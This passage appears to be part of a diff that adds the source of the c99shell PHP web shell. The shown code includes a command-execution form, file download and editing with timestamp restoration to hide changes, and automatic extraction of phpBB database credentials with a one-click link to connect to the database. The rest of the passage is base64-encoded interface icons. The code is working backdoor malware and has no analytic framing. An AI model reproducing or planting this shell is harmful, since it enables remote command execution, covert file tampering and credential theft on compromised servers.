var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 